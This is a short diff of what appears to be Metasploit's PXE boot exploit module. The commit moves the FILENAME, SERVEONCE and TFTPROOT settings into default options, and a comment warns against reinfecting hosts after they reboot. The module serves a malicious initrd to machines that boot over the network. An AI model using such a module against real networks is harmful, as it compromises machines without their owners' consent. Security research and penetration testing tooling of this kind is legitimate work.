@@ -47,7 +47,11 @@ def initialize
47
47
] ,
48
48
'Privileged' => true ,
49
49
'Stance' => Msf ::Exploit ::Stance ::Passive ,
50
- 'DefaultTarget' => 0
50
+ 'DefaultTarget' => 0 ,
51
+ 'DefaultOptions' => {
52
+ 'FILENAME' => 'update1' ,
53
+ 'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them!
54
+ }
51
55
)
52
56
53
57
register_options (
@@ -57,7 +61,8 @@ def initialize
57
61
58
62
register_advanced_options (
59
63
[
60
- OptString . new ( 'TFTPROOT' , [ false , 'The TFTP root directory to serve files from' ] ) ,
64
+ OptString . new ( 'TFTPROOT' , [ false , 'The TFTP root directory to serve files from' ,
65
+ File . join ( Msf ::Config . data_directory , 'exploits' , 'pxexploit' ) ] ) ,
61
66
OptString . new ( 'SRVHOST' , [ false , 'The IP of the DHCP server' ] ) ,
62
67
OptString . new ( 'NETMASK' , [ false , 'The netmask of the local subnet' , '255.255.255.0' ] ) ,
63
68
OptBool . new ( 'RESETPXE' , [ true , 'Resets the server to re-exploit already targeted hosts' , false ] ) ,
@@ -67,12 +72,6 @@ def initialize
67
72
end
68
73
69
74
def exploit
70
- if not datastore [ 'TFTPROOT' ]
71
- datastore [ 'TFTPROOT' ] = File . join ( Msf ::Config . data_directory , 'exploits' , 'pxexploit' )
72
- end
73
- datastore [ 'FILENAME' ] = "update1"
74
- datastore [ 'SERVEONCE' ] = true # once they reboot; don't infect again - you'll kill them!
75
-
76
75
# Prepare payload
77
76
print_status ( "Creating initrd" )
78
77
initrd = IO . read ( File . join ( Msf ::Config . data_directory , 'exploits' , 'pxexploit' , 'updatecustom' ) )
0 commit comments